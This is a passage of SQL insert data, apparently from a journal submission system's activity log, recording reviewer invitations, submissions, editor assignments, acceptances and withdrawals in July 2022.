Reviewer',12316,'Publisher',248),(119301,'2022-07-08 09:26:32','Publisher has Invited Reviewer',12316,'Publisher',248),(119302,'2022-07-08 09:26:32','Publisher has Invited Reviewer',12316,'Publisher',248),(119303,'2022-07-08 09:26:33','Publisher has Invited Reviewer',12316,'Publisher',248),(119304,'2022-07-08 09:26:34','Publisher has Invited Reviewer',12316,'Publisher',248),(119305,'2022-07-08 09:26:34','Publisher has Invited Reviewer',12316,'Publisher',248),(119306,'2022-07-08 09:26:35','Publisher has Invited Reviewer',12316,'Publisher',248),(119307,'2022-07-08 09:26:35','Publisher has Invited Reviewer',12316,'Publisher',248),(119308,'2022-07-08 09:26:35','Publisher has Invited Reviewer',12316,'Publisher',248),(119309,'2022-07-08 09:26:36','Publisher has Invited Reviewer',12316,'Publisher',248),(119310,'2022-07-08 09:26:37','Publisher has Invited Reviewer',12316,'Publisher',248),(119311,'2022-07-08 09:26:37','Publisher has Invited Reviewer',12316,'Publisher',248),(119312,'2022-07-08 09:26:37','Publisher has Invited Reviewer',12316,'Publisher',248),(119313,'2022-07-08 09:26:38','Publisher has Invited Reviewer',12316,'Publisher',248),(119314,'2022-07-08 09:26:38','Publisher has Invited Reviewer',12316,'Publisher',248),(119315,'2022-07-08 09:26:39','Publisher has Invited Reviewer',12316,'Publisher',248),(119316,'2022-07-08 09:26:40','Publisher has Invited Reviewer',12316,'Publisher',248),(119317,'2022-07-08 09:26:40','Publisher has Invited Reviewer',12316,'Publisher',248),(119318,'2022-07-08 09:26:41','Publisher has Invited Reviewer',12316,'Publisher',248),(119319,'2022-07-08 09:26:41','Publisher has Invited Reviewer',12316,'Publisher',248),(119320,'2022-07-08 09:42:52','Manuscript Submitted by Publisher',12848,'Publisher',48),(119321,'2022-07-08 10:36:32','Publisher has Invited Reviewer',11870,'Publisher',972),(119322,'2022-07-08 10:36:37','Publisher has Invited Reviewer',11870,'Publisher',972),(119323,'2022-07-08 10:36:41','Publisher has Invited Reviewer',11870,'Publisher',972),(119324,'2022-07-08 12:06:32','Reviewer has updated comments',12827,'Reviewer',11520),(119325,'2022-07-08 12:08:33','Editor has Accepted to review Manuscript',12827,'Editor',194),(119326,'2022-07-08 12:08:46','Editor has been Editor Decision Accepted article',12827,'Editor',194),(119327,'2022-07-08 13:11:13','Publisher has Invited Reviewer',12814,'Publisher',248),(119328,'2022-07-08 13:11:14','Publisher has Invited Reviewer',12814,'Publisher',248),(119329,'2022-07-08 13:11:15','Publisher has Invited Reviewer',12814,'Publisher',248),(119330,'2022-07-08 13:11:15','Publisher has Invited Reviewer',12814,'Publisher',248),(119331,'2022-07-08 13:11:16','Publisher has Invited Reviewer',12814,'Publisher',248),(119332,'2022-07-08 13:11:17','Publisher has Invited Reviewer',12814,'Publisher',248),(119333,'2022-07-08 13:11:18','Publisher has Invited Reviewer',12814,'Publisher',248),(119334,'2022-07-08 13:11:18','Publisher has Invited Reviewer',12814,'Publisher',248),(119335,'2022-07-08 13:11:19','Publisher has Invited Reviewer',12814,'Publisher',248),(119336,'2022-07-08 13:11:20','Publisher has Invited Reviewer',12814,'Publisher',248),(119337,'2022-07-08 13:11:20','Publisher has Invited Reviewer',12814,'Publisher',248),(119338,'2022-07-08 13:11:21','Publisher has Invited Reviewer',12814,'Publisher',248),(119339,'2022-07-08 13:11:21','Publisher has Invited Reviewer',12814,'Publisher',248),(119340,'2022-07-08 13:11:22','Publisher has Invited Reviewer',12814,'Publisher',248),(119341,'2022-07-08 13:11:22','Publisher has Invited Reviewer',12814,'Publisher',248),(119342,'2022-07-08 13:11:23','Publisher has Invited Reviewer',12814,'Publisher',248),(119343,'2022-07-08 13:11:24','Publisher has Invited Reviewer',12814,'Publisher',248),(119344,'2022-07-08 13:11:25','Publisher has Invited Reviewer',12814,'Publisher',248),(119345,'2022-07-08 13:11:26','Publisher has Invited Reviewer',12814,'Publisher',248),(119346,'2022-07-08 13:11:27','Publisher has Invited Reviewer',12814,'Publisher',248),(119347,'2022-07-08 13:11:27','Publisher has Invited Reviewer',12814,'Publisher',248),(119348,'2022-07-08 13:11:28','Publisher has Invited Reviewer',12814,'Publisher',248),(119349,'2022-07-08 13:11:29','Publisher has Invited Reviewer',12814,'Publisher',248),(119350,'2022-07-08 13:11:29','Publisher has Invited Reviewer',12814,'Publisher',248),(119351,'2022-07-08 13:11:30','Publisher has Invited Reviewer',12814,'Publisher',248),(119352,'2022-07-08 13:11:30','Publisher has Invited Reviewer',12814,'Publisher',248),(119353,'2022-07-08 13:12:51','Publisher has Invited Reviewer',12316,'Publisher',248),(119354,'2022-07-08 13:12:51','Publisher has Invited Reviewer',12316,'Publisher',248),(119355,'2022-07-08 13:12:52','Publisher has Invited Reviewer',12316,'Publisher',248),(119356,'2022-07-08 13:12:53','Publisher has Invited Reviewer',12316,'Publisher',248),(119357,'2022-07-08 13:12:53','Publisher has Invited Reviewer',12316,'Publisher',248),(119358,'2022-07-08 13:12:54','Publisher has Invited Reviewer',12316,'Publisher',248),(119359,'2022-07-08 13:12:55','Publisher has Invited Reviewer',12316,'Publisher',248),(119360,'2022-07-08 13:12:55','Publisher has Invited Reviewer',12316,'Publisher',248),(119361,'2022-07-08 13:12:56','Publisher has Invited Reviewer',12316,'Publisher',248),(119362,'2022-07-08 13:12:57','Publisher has Invited Reviewer',12316,'Publisher',248),(119363,'2022-07-08 13:12:57','Publisher has Invited Reviewer',12316,'Publisher',248),(119364,'2022-07-08 13:12:58','Publisher has Invited Reviewer',12316,'Publisher',248),(119365,'2022-07-08 13:12:58','Publisher has Invited Reviewer',12316,'Publisher',248),(119366,'2022-07-08 13:12:59','Publisher has Invited Reviewer',12316,'Publisher',248),(119367,'2022-07-08 13:12:59','Publisher has Invited Reviewer',12316,'Publisher',248),(119368,'2022-07-08 13:13:00','Publisher has Invited Reviewer',12316,'Publisher',248),(119369,'2022-07-08 13:13:00','Publisher has Invited Reviewer',12316,'Publisher',248),(119370,'2022-07-08 13:13:01','Publisher has Invited Reviewer',12316,'Publisher',248),(119371,'2022-07-08 13:13:01','Publisher has Invited Reviewer',12316,'Publisher',248),(119372,'2022-07-08 13:13:02','Publisher has Invited Reviewer',12316,'Publisher',248),(119373,'2022-07-08 13:13:03','Publisher has Invited Reviewer',12316,'Publisher',248),(119374,'2022-07-08 13:13:04','Publisher has Invited Reviewer',12316,'Publisher',248),(119375,'2022-07-08 13:13:05','Publisher has Invited Reviewer',12316,'Publisher',248),(119376,'2022-07-08 13:13:05','Publisher has Invited Reviewer',12316,'Publisher',248),(119377,'2022-07-08 13:13:06','Publisher has Invited Reviewer',12316,'Publisher',248),(119378,'2022-07-08 13:13:06','Publisher has Invited Reviewer',12316,'Publisher',248),(119379,'2022-07-08 13:13:47','Publisher has Invited Reviewer',12190,'Publisher',248),(119380,'2022-07-08 13:13:48','Publisher has Invited Reviewer',12190,'Publisher',248),(119381,'2022-07-08 13:13:48','Publisher has Invited Reviewer',12190,'Publisher',248),(119382,'2022-07-08 13:13:49','Publisher has Invited Reviewer',12190,'Publisher',248),(119383,'2022-07-08 13:13:49','Publisher has Invited Reviewer',12190,'Publisher',248),(119384,'2022-07-08 13:13:50','Publisher has Invited Reviewer',12190,'Publisher',248),(119385,'2022-07-08 13:13:50','Publisher has Invited Reviewer',12190,'Publisher',248),(119386,'2022-07-08 13:13:51','Publisher has Invited Reviewer',12190,'Publisher',248),(119387,'2022-07-08 13:13:51','Publisher has Invited Reviewer',12190,'Publisher',248),(119388,'2022-07-08 13:13:52','Publisher has Invited Reviewer',12190,'Publisher',248),(119389,'2022-07-08 13:13:52','Publisher has Invited Reviewer',12190,'Publisher',248),(119390,'2022-07-08 13:13:53','Publisher has Invited Reviewer',12190,'Publisher',248),(119391,'2022-07-08 13:13:53','Publisher has Invited Reviewer',12190,'Publisher',248),(119392,'2022-07-08 13:13:54','Publisher has Invited Reviewer',12190,'Publisher',248),(119393,'2022-07-08 13:13:55','Publisher has Invited Reviewer',12190,'Publisher',248),(119394,'2022-07-08 13:13:56','Publisher has Invited Reviewer',12190,'Publisher',248),(119395,'2022-07-08 13:13:56','Publisher has Invited Reviewer',12190,'Publisher',248),(119396,'2022-07-08 13:13:57','Publisher has Invited Reviewer',12190,'Publisher',248),(119397,'2022-07-08 13:13:57','Publisher has Invited Reviewer',12190,'Publisher',248),(119398,'2022-07-08 13:13:58','Publisher has Invited Reviewer',12190,'Publisher',248),(119399,'2022-07-08 13:14:36','Publisher has Invited Reviewer',11846,'Publisher',248),(119400,'2022-07-08 13:14:37','Publisher has Invited Reviewer',11846,'Publisher',248),(119401,'2022-07-08 13:14:37','Publisher has Invited Reviewer',11846,'Publisher',248),(119402,'2022-07-08 13:14:38','Publisher has Invited Reviewer',11846,'Publisher',248),(119403,'2022-07-08 13:14:39','Publisher has Invited Reviewer',11846,'Publisher',248),(119404,'2022-07-08 13:14:40','Publisher has Invited Reviewer',11846,'Publisher',248),(119405,'2022-07-08 13:14:40','Publisher has Invited Reviewer',11846,'Publisher',248),(119406,'2022-07-08 13:14:41','Publisher has Invited Reviewer',11846,'Publisher',248),(119407,'2022-07-08 13:14:41','Publisher has Invited Reviewer',11846,'Publisher',248),(119408,'2022-07-08 13:14:41','Publisher has Invited Reviewer',11846,'Publisher',248),(119409,'2022-07-08 13:14:42','Publisher has Invited Reviewer',11846,'Publisher',248),(119410,'2022-07-08 13:14:42','Publisher has Invited Reviewer',11846,'Publisher',248),(119411,'2022-07-08 13:14:43','Publisher has Invited Reviewer',11846,'Publisher',248),(119412,'2022-07-08 13:14:43','Publisher has Invited Reviewer',11846,'Publisher',248),(119413,'2022-07-08 13:14:44','Publisher has Invited Reviewer',11846,'Publisher',248),(119414,'2022-07-08 13:14:44','Publisher has Invited Reviewer',11846,'Publisher',248),(119415,'2022-07-08 13:14:45','Publisher has Invited Reviewer',11846,'Publisher',248),(119416,'2022-07-08 13:14:45','Publisher has Invited Reviewer',11846,'Publisher',248),(119417,'2022-07-08 13:14:45','Publisher has Invited Reviewer',11846,'Publisher',248),(119418,'2022-07-08 13:14:46','Publisher has Invited Reviewer',11846,'Publisher',248),(119419,'2022-07-08 13:14:46','Publisher has Invited Reviewer',11846,'Publisher',248),(119420,'2022-07-08 13:14:47','Publisher has Invited Reviewer',11846,'Publisher',248),(119421,'2022-07-08 13:14:47','Publisher has Invited Reviewer',11846,'Publisher',248),(119422,'2022-07-08 13:14:47','Publisher has Invited Reviewer',11846,'Publisher',248),(119423,'2022-07-08 13:14:48','Publisher has Invited Reviewer',11846,'Publisher',248),(119424,'2022-07-08 13:14:48','Publisher has Invited Reviewer',11846,'Publisher',248),(119425,'2022-07-08 13:14:49','Publisher has Invited Reviewer',11846,'Publisher',248),(119426,'2022-07-08 13:14:59','Publisher has Invited Reviewer',11846,'Publisher',248),(119427,'2022-07-08 13:14:59','Publisher has Invited Reviewer',11846,'Publisher',248),(119428,'2022-07-08 13:15:00','Publisher has Invited Reviewer',11846,'Publisher',248),(119429,'2022-07-08 13:15:00','Publisher has Invited Reviewer',11846,'Publisher',248),(119430,'2022-07-08 13:15:01','Publisher has Invited Reviewer',11846,'Publisher',248),(119431,'2022-07-08 13:15:01','Publisher has Invited Reviewer',11846,'Publisher',248),(119432,'2022-07-08 13:15:02','Publisher has Invited Reviewer',11846,'Publisher',248),(119433,'2022-07-08 13:15:02','Publisher has Invited Reviewer',11846,'Publisher',248),(119434,'2022-07-08 13:15:03','Publisher has Invited Reviewer',11846,'Publisher',248),(119435,'2022-07-08 13:15:03','Publisher has Invited Reviewer',11846,'Publisher',248),(119436,'2022-07-08 13:15:58','Publisher has Invited Reviewer',11323,'Publisher',248),(119437,'2022-07-08 13:15:58','Publisher has Invited Reviewer',11323,'Publisher',248),(119438,'2022-07-08 13:15:59','Publisher has Invited Reviewer',11323,'Publisher',248),(119439,'2022-07-08 13:15:59','Publisher has Invited Reviewer',11323,'Publisher',248),(119440,'2022-07-08 13:16:00','Publisher has Invited Reviewer',11323,'Publisher',248),(119441,'2022-07-08 13:16:00','Publisher has Invited Reviewer',11323,'Publisher',248),(119442,'2022-07-08 13:16:06','Publisher has Invited Reviewer',11323,'Publisher',248),(119443,'2022-07-08 13:16:07','Publisher has Invited Reviewer',11323,'Publisher',248),(119444,'2022-07-08 13:16:07','Publisher has Invited Reviewer',11323,'Publisher',248),(119445,'2022-07-08 13:16:08','Publisher has Invited Reviewer',11323,'Publisher',248),(119446,'2022-07-08 13:16:08','Publisher has Invited Reviewer',11323,'Publisher',248),(119447,'2022-07-08 13:16:08','Publisher has Invited Reviewer',11323,'Publisher',248),(119448,'2022-07-08 13:16:09','Publisher has Invited Reviewer',11323,'Publisher',248),(119449,'2022-07-08 13:16:09','Publisher has Invited Reviewer',11323,'Publisher',248),(119450,'2022-07-08 13:16:10','Publisher has Invited Reviewer',11323,'Publisher',248),(119451,'2022-07-08 13:16:10','Publisher has Invited Reviewer',11323,'Publisher',248),(119452,'2022-07-08 13:16:11','Publisher has Invited Reviewer',11323,'Publisher',248),(119453,'2022-07-08 13:16:11','Publisher has Invited Reviewer',11323,'Publisher',248),(119454,'2022-07-08 13:16:12','Publisher has Invited Reviewer',11323,'Publisher',248),(119455,'2022-07-08 13:16:12','Publisher has Invited Reviewer',11323,'Publisher',248),(119456,'2022-07-08 13:20:49','Publisher has Invited Reviewer',10872,'Publisher',1009),(119457,'2022-07-08 13:22:40','Publisher has Invited Reviewer',10872,'Publisher',1009),(119458,'2022-07-08 13:22:41','Publisher has Invited Reviewer',10872,'Publisher',1009),(119459,'2022-07-08 13:22:42','Publisher has Invited Reviewer',10872,'Publisher',1009),(119460,'2022-07-08 13:22:43','Publisher has Invited Reviewer',10872,'Publisher',1009),(119461,'2022-07-08 13:22:44','Publisher has Invited Reviewer',10872,'Publisher',1009),(119462,'2022-07-08 13:22:45','Publisher has Invited Reviewer',10872,'Publisher',1009),(119463,'2022-07-08 13:22:46','Publisher has Invited Reviewer',10872,'Publisher',1009),(119464,'2022-07-08 13:22:46','Publisher has Invited Reviewer',10872,'Publisher',1009),(119465,'2022-07-08 13:22:47','Publisher has Invited Reviewer',10872,'Publisher',1009),(119466,'2022-07-08 13:22:48','Publisher has Invited Reviewer',10872,'Publisher',1009),(119467,'2022-07-08 13:22:49','Publisher has Invited Reviewer',10872,'Publisher',1009),(119468,'2022-07-08 13:22:50','Publisher has Invited Reviewer',10872,'Publisher',1009),(119469,'2022-07-08 13:22:51','Publisher has Invited Reviewer',10872,'Publisher',1009),(119470,'2022-07-08 13:22:52','Publisher has Invited Reviewer',10872,'Publisher',1009),(119471,'2022-07-08 13:22:53','Publisher has Invited Reviewer',10872,'Publisher',1009),(119472,'2022-07-08 13:22:54','Publisher has Invited Reviewer',10872,'Publisher',1009),(119473,'2022-07-08 13:22:55','Publisher has Invited Reviewer',10872,'Publisher',1009),(119474,'2022-07-08 13:22:56','Publisher has Invited Reviewer',10872,'Publisher',1009),(119475,'2022-07-08 13:22:56','Publisher has Invited Reviewer',10872,'Publisher',1009),(119476,'2022-07-08 13:22:57','Publisher has Invited Reviewer',10872,'Publisher',1009),(119477,'2022-07-08 13:22:58','Publisher has Invited Reviewer',10872,'Publisher',1009),(119478,'2022-07-08 13:22:59','Publisher has Invited Reviewer',10872,'Publisher',1009),(119479,'2022-07-08 13:23:00','Publisher has Invited Reviewer',10872,'Publisher',1009),(119480,'2022-07-08 13:23:01','Publisher has Invited Reviewer',10872,'Publisher',1009),(119481,'2022-07-08 13:23:02','Publisher has Invited Reviewer',10872,'Publisher',1009),(119482,'2022-07-08 13:23:02','Publisher has Invited Reviewer',10872,'Publisher',1009),(119483,'2022-07-08 13:23:03','Publisher has Invited Reviewer',10872,'Publisher',1009),(119484,'2022-07-08 13:23:04','Publisher has Invited Reviewer',10872,'Publisher',1009),(119485,'2022-07-08 13:23:05','Publisher has Invited Reviewer',10872,'Publisher',1009),(119486,'2022-07-08 13:23:06','Publisher has Invited Reviewer',10872,'Publisher',1009),(119487,'2022-07-08 13:23:07','Publisher has Invited Reviewer',10872,'Publisher',1009),(119488,'2022-07-08 13:23:08','Publisher has Invited Reviewer',10872,'Publisher',1009),(119489,'2022-07-08 13:23:08','Publisher has Invited Reviewer',10872,'Publisher',1009),(119490,'2022-07-08 13:23:09','Publisher has Invited Reviewer',10872,'Publisher',1009),(119491,'2022-07-08 13:23:10','Publisher has Invited Reviewer',10872,'Publisher',1009),(119492,'2022-07-08 13:23:11','Publisher has Invited Reviewer',10872,'Publisher',1009),(119493,'2022-07-08 13:23:12','Publisher has Invited Reviewer',10872,'Publisher',1009),(119494,'2022-07-08 13:23:13','Publisher has Invited Reviewer',10872,'Publisher',1009),(119495,'2022-07-08 13:23:14','Publisher has Invited Reviewer',10872,'Publisher',1009),(119496,'2022-07-08 13:23:15','Publisher has Invited Reviewer',10872,'Publisher',1009),(119497,'2022-07-08 13:23:16','Publisher has Invited Reviewer',10872,'Publisher',1009),(119498,'2022-07-08 13:23:30','Publisher has Invited Reviewer',10872,'Publisher',1009),(119499,'2022-07-08 13:23:31','Publisher has Invited Reviewer',10872,'Publisher',1009),(119500,'2022-07-08 13:23:31','Publisher has Invited Reviewer',10872,'Publisher',1009),(119501,'2022-07-08 13:23:32','Publisher has Invited Reviewer',10872,'Publisher',1009),(119502,'2022-07-08 13:23:52','Publisher has Invited Reviewer',10872,'Publisher',1009),(119503,'2022-07-08 13:23:52','Publisher has Invited Reviewer',10872,'Publisher',1009),(119504,'2022-07-08 13:23:53','Publisher has Invited Reviewer',10872,'Publisher',1009),(119505,'2022-07-08 13:23:54','Publisher has Invited Reviewer',10872,'Publisher',1009),(119506,'2022-07-08 13:23:55','Publisher has Invited Reviewer',10872,'Publisher',1009),(119507,'2022-07-08 13:23:56','Publisher has Invited Reviewer',10872,'Publisher',1009),(119508,'2022-07-08 13:23:57','Publisher has Invited Reviewer',10872,'Publisher',1009),(119509,'2022-07-08 13:23:58','Publisher has Invited Reviewer',10872,'Publisher',1009),(119510,'2022-07-08 13:23:59','Publisher has Invited Reviewer',10872,'Publisher',1009),(119511,'2022-07-08 13:24:00','Publisher has Invited Reviewer',10872,'Publisher',1009),(119512,'2022-07-08 13:24:01','Publisher has Invited Reviewer',10872,'Publisher',1009),(119513,'2022-07-08 13:36:11','Publisher has Invited Reviewer',11598,'Publisher',645),(119514,'2022-07-08 13:36:16','Publisher has Invited Reviewer',11598,'Publisher',645),(119515,'2022-07-08 13:36:52','Publisher has Invited Reviewer',11280,'Publisher',645),(119516,'2022-07-08 13:36:57','Publisher has Invited Reviewer',11280,'Publisher',645),(119517,'2022-07-08 13:37:03','Publisher has Invited Reviewer',11280,'Publisher',645),(119518,'2022-07-08 13:37:08','Publisher has Invited Reviewer',11280,'Publisher',645),(119519,'2022-07-08 13:37:13','Publisher has Invited Reviewer',11280,'Publisher',645),(119520,'2022-07-08 13:37:17','Publisher has Invited Reviewer',11280,'Publisher',645),(119521,'2022-07-08 13:37:37','Publisher has Invited Reviewer',11280,'Publisher',645),(119522,'2022-07-08 13:37:42','Publisher has Invited Reviewer',11280,'Publisher',645),(119523,'2022-07-08 13:38:48','Publisher has Invited Reviewer',11101,'Publisher',645),(119524,'2022-07-08 13:39:02','Publisher has Invited Reviewer',11101,'Publisher',645),(119525,'2022-07-08 13:39:07','Publisher has Invited Reviewer',11101,'Publisher',645),(119526,'2022-07-08 13:39:12','Publisher has Invited Reviewer',11101,'Publisher',645),(119527,'2022-07-08 13:39:17','Publisher has Invited Reviewer',11101,'Publisher',645),(119528,'2022-07-08 13:39:22','Publisher has Invited Reviewer',11101,'Publisher',645),(119529,'2022-07-08 13:39:27','Publisher has Invited Reviewer',11101,'Publisher',645),(119530,'2022-07-08 13:39:32','Publisher has Invited Reviewer',11101,'Publisher',645),(119531,'2022-07-08 13:41:57','Publisher has Invited Reviewer',10182,'Publisher',645),(119532,'2022-07-08 13:42:16','Publisher has Invited Reviewer',10182,'Publisher',645),(119533,'2022-07-08 13:43:06','Publisher has Invited Reviewer',9911,'Publisher',645),(119534,'2022-07-08 13:43:11','Publisher has Invited Reviewer',9911,'Publisher',645),(119535,'2022-07-08 13:43:16','Publisher has Invited Reviewer',9911,'Publisher',645),(119536,'2022-07-08 13:43:23','Publisher has Invited Reviewer',9911,'Publisher',645),(119537,'2022-07-08 13:44:02','Publisher has Invited Reviewer',9911,'Publisher',645),(119538,'2022-07-08 13:45:39','Publisher has Invited Reviewer',9183,'Publisher',645),(119539,'2022-07-08 13:45:44','Publisher has Invited Reviewer',9183,'Publisher',645),(119540,'2022-07-08 13:45:49','Publisher has Invited Reviewer',9183,'Publisher',645),(119541,'2022-07-08 13:45:53','Publisher has Invited Reviewer',9183,'Publisher',645),(119542,'2022-07-08 13:45:58','Publisher has Invited Reviewer',9183,'Publisher',645),(119543,'2022-07-08 13:46:03','Publisher has Invited Reviewer',9183,'Publisher',645),(119544,'2022-07-08 13:46:08','Publisher has Invited Reviewer',9183,'Publisher',645),(119545,'2022-07-08 16:38:54','Publisher has been Withdrawn  article',10182,'Publisher',645),(119546,'2022-07-08 16:39:09','Publisher has been Withdrawn  article',11620,'Publisher',645),(119547,'2022-07-08 16:40:33','Publisher has been Withdrawn  article',9911,'Publisher',645),(119548,'2022-07-08 17:44:32','Publisher has been Withdrawn  article',12316,'Publisher',248),(119549,'2022-07-08 17:48:21','Publisher has been Withdrawn  article',12190,'Publisher',248),(119550,'2022-07-09 00:33:31','Manuscript Submitted by Author using Submission form',12849,'Author',13073),(119551,'2022-07-09 00:56:14','Manuscript Submitted by Author',12850,'Author',13073),(119552,'2022-07-11 17:32:20','Manuscript Submitted by Author using Submission form',12852,'Author',13076),(119553,'2022-07-12 10:50:19','Publisher has been Withdrawn  article',9286,'Publisher',319),(119554,'2022-07-12 10:50:21','Publisher has been Withdrawn  article',9286,'Publisher',319),(119555,'2022-07-12 19:01:05','Manuscript Submitted by Author',12855,'Author',13070),(119556,'2022-07-13 11:44:28','Publisher has been Assigned Editor',12848,'Publisher',48),(119557,'2022-07-13 11:46:11','Publisher has Invited Reviewer',12848,'Publisher',48),(119558,'2022-07-13 11:46:16','Publisher has Invited Reviewer',12848,'Publisher',48),(119559,'2022-07-13 11:46:20','Publisher has Invited Reviewer',12848,'Publisher',48),(119560,'2022-07-13 11:46:25','Publisher has Invited Reviewer',12848,'Publisher',48),(119561,'2022-07-13 11:46:51','Manuscript Submitted by Author using Submission form',12856,'Author',13079),(119562,'2022-07-13 11:49:31','Manuscript Submitted by Author using Submission form',12857,'Author',13080),(119563,'2022-07-13 12:21:03','Publisher has been Accepted Articles  article',12827,'Publisher',48),(119564,'2022-07-13 16:32:44','Manuscript Submitted by Author',12858,'Author',12576),(119565,'2022-07-13 22:19:46','Manuscript Submitted by Author using Submission form',12859,'Author',13081),(119566,'2022-07-14 14:42:50','Reviewer has submitted comments',12840,'Reviewer',21397),(119567,'2022-07-14 15:40:02','Editor has Accepted to review Manuscript',12840,'Editor',193),(119568,'2022-07-14 15:41:02','Editor has Accepted to review Manuscript',12848,'Editor',193),(119569,'2022-07-15 17:11:29','Reviewer has submitted comments',12834,'Reviewer',21409),(119570,'2022-07-15 17:12:03','Editor has Accepted to review Manuscript',12834,'Editor',190),(119571,'2022-07-15 17:12:14','Editor has been Editor Decision Accepted article',12834,'Editor',190),(119572,'2022-07-15 17:13:00','Publisher has been Accepted Articles  article',12834,'Publisher',48),(119573,'2022-07-16 12:15:30','Manuscript Submitted by Author',12860,'Author',13082),(119574,'2022-07-16 22:45:30','Manuscript Submitted by Author using Submission form',12861,'Author',13083),(119575,'2022-07-17 14:13:26','Reviewer has submitted comments',12822,'Reviewer',13886),(119576,'2022-07-18 09:16:00','Publisher : Notified Editor',12840,'Publisher',48),(119577,'2022-07-18 11:02:59','Publisher has Invited Reviewer',12812,'Publisher',84),(119578,'2022-07-18 11:03:01','Publisher has Invited Reviewer',12812,'Publisher',84),(119579,'2022-07-18 11:03:02','Publisher has Invited Reviewer',12812,'Publisher',84),(119580,'2022-07-18 11:03:03','Publisher has Invited Reviewer',12812,'Publisher',84),(119581,'2022-07-18 11:03:05','Publisher has Invited Reviewer',12812,'Publisher',84),(119582,'2022-07-18 11:03:06','Publisher has Invited Reviewer',12812,'Publisher',84),(119583,'2022-07-18 11:03:08','Publisher has Invited Reviewer',12812,'Publisher',84),(119584,'2022-07-18 11:04:01','Publisher has Invited Reviewer',12671,'Publisher',84),(119585,'2022-07-18 11:04:14','Publisher has Invited Reviewer',12671,'Publisher',84),(119586,'2022-07-18 11:04:15','Publisher has Invited Reviewer',12671,'Publisher',84),(119587,'2022-07-18 11:04:16','Publisher has Invited Reviewer',12671,'Publisher',84),(119588,'2022-07-18 11:04:17','Publisher has Invited Reviewer',12671,'Publisher',84),(119589,'2022-07-18 11:04:19','Publisher has Invited Reviewer',12671,'Publisher',84),(119590,'2022-07-18 11:04:52','Publisher has Invited Reviewer',12671,'Publisher',84),(119591,'2022-07-18 11:04:53','Publisher has Invited Reviewer',12671,'Publisher',84),(119592,'2022-07-18 11:04:56','Publisher has Invited Reviewer',12671,'Publisher',84),(119593,'2022-07-18 11:04:57','Publisher has Invited Reviewer',12671,'Publisher',84),(119594,'2022-07-18 11:04:59','Publisher has Invited Reviewer',12671,'Publisher',84),(119595,'2022-07-18 11:05:01','Publisher has Invited Reviewer',12671,'Publisher',84),(119596,'2022-07-18 11:05:02','Publisher has Invited Reviewer',12671,'Publisher',84),(119597,'2022-07-18 11:05:03','Publisher has Invited Reviewer',12671,'Publisher',84),(119598,'2022-07-18 11:05:04','Publisher has Invited Reviewer',12671,'Publisher',84),(119599,'2022-07-18 15:50:40','Publisher has been Assigned Editor',12850,'Publisher',48),(119600,'2022-07-18 17:36:08','Reviewer has submitted comments',12530,'Reviewer',18593),(119601,'2022-07-18 17:36:49','Editor has Accepted to review Manuscript',12530,'Editor',194),(119602,'2022-07-18 17:37:05','Editor has been Editor Decision Accepted article',12530,'Editor',194),(119603,'2022-07-18 17:37:52','Publisher has been Accepted Articles  article',12530,'Publisher',48),(119604,'2022-07-19 00:03:54','Manuscript Submitted by Author using Submission form',12862,'Author',13084),(119605,'2022-07-19 09:53:57','Publisher has Invited Reviewer',12850,'Publisher',48),(119606,'2022-07-19 09:54:01','Publisher has Invited Reviewer',12850,'Publisher',48),(119607,'2022-07-19 09:54:06','Publisher has Invited Reviewer',12850,'Publisher',48),(119608,'2022-07-19 09:54:11','Publisher has Invited Reviewer',12850,'Publisher',48),(119609,'2022-07-19 09:54:16','Publisher has Invited Reviewer',12850,'Publisher',48),(119610,'2022-07-19 09:54:20','Publisher has Invited Reviewer',12850,'Publisher',48),(119611,'2022-07-19 10:35:49','Editor has Accepted to review Manuscript',12562,'Editor',1068),(119612,'2022-07-19 10:35:59','Editor has been Editor Decision Accepted article',12562,'Editor',1068),(119613,'2022-07-19 10:36:39','Publisher: Accept Notification has been sent to Author',12562,'Publisher',319),(119614,'2022-07-19 10:49:42','Publisher has been Assigned Editor',12856,'Publisher',75),(119615,'2022-07-19 10:49:56','Publisher has been Assigned Editor',12858,'Publisher',75),(119616,'2022-07-19 10:50:10','Publisher has been Assigned Editor',12859,'Publisher',75),(119617,'2022-07-19 10:50:23','Publisher has been Assigned Editor',12861,'Publisher',75),(119618,'2022-07-19 12:07:01','Publisher has Invited Reviewer',11959,'Publisher',972),(119619,'2022-07-19 17:21:10','Manuscript Submitted by Author using Submission form',12864,'Author',13086),(119620,'2022-07-19 20:14:06','Manuscript Submitted by Author using Submission form',12865,'Author',13087),(119621,'2022-07-20 11:42:48','Publisher has Invited Reviewer',12856,'Publisher',75),(119622,'2022-07-20 11:42:52','Publisher has Invited Reviewer',12856,'Publisher',75),(119623,'2022-07-20 11:43:08','Publisher has Invited Reviewer',12856,'Publisher',75),(119624,'2022-07-20 11:43:13','Publisher has Invited Reviewer',12856,'Publisher',75),(119625,'2022-07-20 11:43:17','Publisher has Invited Reviewer',12856,'Publisher',75),(119626,'2022-07-20 11:44:33','Publisher has Invited Reviewer',12858,'Publisher',75),(119627,'2022-07-20 11:44:37','Publisher has Invited Reviewer',12858,'Publisher',75),(119628,'2022-07-20 11:44:42','Publisher has Invited Reviewer',12858,'Publisher',75),(119629,'2022-07-20 11:44:47','Publisher has Invited Reviewer',12858,'Publisher',75),(119630,'2022-07-20 11:44:52','Publisher has Invited Reviewer',12858,'Publisher',75),(119631,'2022-07-20 11:45:31','Publisher has Invited Reviewer',12859,'Publisher',75),(119632,'2022-07-20 11:45:36','Publisher has Invited Reviewer',12859,'Publisher',75),(119633,'2022-07-20 11:45:40','Publisher has Invited Reviewer',12859,'Publisher',75),(119634,'2022-07-20 11:45:45','Publisher has Invited Reviewer',12859,'Publisher',75),(119635,'2022-07-20 11:45:50','Publisher has Invited Reviewer',12859,'Publisher',75),(119636,'2022-07-20 11:46:26','Publisher has Invited Reviewer',12861,'Publisher',75),(119637,'2022-07-20 11:46:31','Publisher has Invited Reviewer',12861,'Publisher',75),(119638,'2022-07-20 11:46:36','Publisher has Invited Reviewer',12861,'Publisher',75),(119639,'2022-07-20 11:46:40','Publisher has Invited Reviewer',12861,'Publisher',75),(119640,'2022-07-20 11:47:11','Publisher has Invited Reviewer',12861,'Publisher',75),(119641,'2022-07-20 13:40:52','Publisher has been Assigned Editor',12862,'Publisher',988),(119642,'2022-07-20 13:41:12','Publisher has been Assigned Editor',12838,'Publisher',988),(119643,'2022-07-20 13:41:53','Publisher has Invited Reviewer',12862,'Publisher',988),(119644,'2022-07-20 13:41:58','Publisher has Invited Reviewer',12862,'Publisher',988),(119645,'2022-07-20 13:42:03','Publisher has Invited Reviewer',12862,'Publisher',988),(119646,'2022-07-20 13:42:08','Publisher has Invited 